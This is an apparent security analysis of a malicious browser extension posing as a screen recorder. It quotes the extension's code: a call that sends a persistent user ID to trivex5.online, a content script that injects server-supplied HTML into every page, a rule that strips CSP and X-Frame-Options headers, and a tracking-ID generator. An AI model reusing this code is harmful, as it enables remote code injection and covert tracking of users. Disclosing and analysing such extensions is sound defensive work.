RecZap – Screen, Audio & Camera Recorder

The background service worker POSTs the user's persistent UUID to `https://trivex5.online/recConf` — a domain with no affiliation to the publisher — and stores the server's returned `icon` field as `widgetData` in chrome.storage. This gives the remote operator full control over what content is delivered to every user's browser on each update cycle. The destination domain is unrelated to any disclosed service or the publisher's identity, and no data collection of this kind is disclosed in the CWS listing.

function n() {  return new Promise((e, n) => t(this, void 0, void 0, function*() {          try {            const t = yield o(), n = {              method: "POST",              headers: {                "Content-Type": "application/json"              },              body: JSON.stringify({                user_id: t              })            }, r = yield fetch(`https://trivex5.online/recConf?uuid=${t}`, n);            if (!(r.status >= 200 && r.status < 300)) throw new Error(`HTTP error! status: ${r.status}`);            {              const t = yield r.json();              chrome.storage.local.set({                widgetData: t.icon              }), e(t)            }          } catch (t) {            0,            n(t)          }

The content script reads `widgetData` from chrome.storage (populated by the remote server at trivex5.online) and injects it as raw unescaped `innerHTML` into a shadow DOM element appended to `document.body` on every web page. Because the shadow DOM is `mode: open`, scripts in the main page can traverse the shadow root; more critically, any inline event handlers (e.g., `onerror`, `onload`, SVG event handlers) inside the server-controlled HTML will execute in the page's browsing context. This is a fully operational server-driven persistent code injection channel running at document_start across all URLs.

const e = document.createElement("div"),  t = e.attachShadow({    mode: "open"  }),  o = window.top === window.self,  i = document.createElement("div"),  d = document.createElement("style"),  [c, a] = yield Promise.all([chrome.storage.local.get(["widgetData"]), chrome.storage.local    .get(["widgetHidden"])  ]), r = a.widgetHidden || !1;e.setAttribute("style",    "position: fixed; right: 20px; bottom: 20px; z-index: 2112312321321312321; display: " + (      o && !r ? "block" : "none")),  i.innerHTML =  `\n        <div class="widget-container">\n            <div class="icon">${c.widgetData}</div>\n            <div class="close-button"></div>\n        </div>\n    `;

The declarativeNetRequest rule silently strips the `Content-Security-Policy` and `X-Frame-Options` response headers from every main_frame and sub_frame response across all URLs. Removing CSP neutralises every site's inline-script and unsafe-inline defenses, directly enabling the innerHTML injection in content.js to bypass protections that would otherwise block it; removing X-Frame-Options enables clickjacking of any site. The other headers set by this rule (`screen-capture-allowed`, `recording-quality-limit`, etc.) are non-standard fabricated headers that serve no purpose in any browser API — their presence is cover to make the rule appear legitimate. No legitimate screen recorder requires stripping security headers from third-party websites.

[  {    "id": 1,    "priority": 1,    "action": {      "type": "modifyHeaders",      "responseHeaders": [        {          "header": "screen-capture-allowed",          "operation": "set",          "value": "true"        },        {          "header": "content-security-policy",          "operation": "remove"        },        {          "header": "x-frame-options",          "operation": "remove"        }      ]    },    "condition": {      "urlFilter": "*",      "resourceTypes": [        "main_frame",        "sub_frame"      ]    }  }]

The extension generates and persistently stores a UUID per browser profile, then transmits it to `trivex5.online` on every update cycle (every ~5 hours) and also encodes it into the uninstall callback URL (`/uninst?uid=...`). This creates a durable cross-site tracking identifier tied to an undisclosed third-party operator. No data collection of any kind is declared in the CWS listing, and the destination domain is unrelated to the publisher's disclosed privacy policy URL (docs.google.com).

function e() {  let t = Date.now();  return Array.from("xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx")    .map(e => "x" === e || "y" === e ? (e => {      const o = Math.floor((t + 16 * Math.random()) % 16);      return t = Math.floor(t / 16), ("x" === e ? o : 3 & o | 8)        .toString(16)    })(e) : e)    .join("")}function o() {  return t(this, void 0, void 0, function*() {    const t = (yield chrome.storage.local.get(["userId"]))      .userId;    if (t) return t;    let o;    try {      o = e(), yield chrome.storage.local.set({        userId: o      })    } catch (t) {      0,      o = e();      try {        yield chrome.storage.local.set({          userId: o        })      } catch (t) {        0      }    }    return o  })}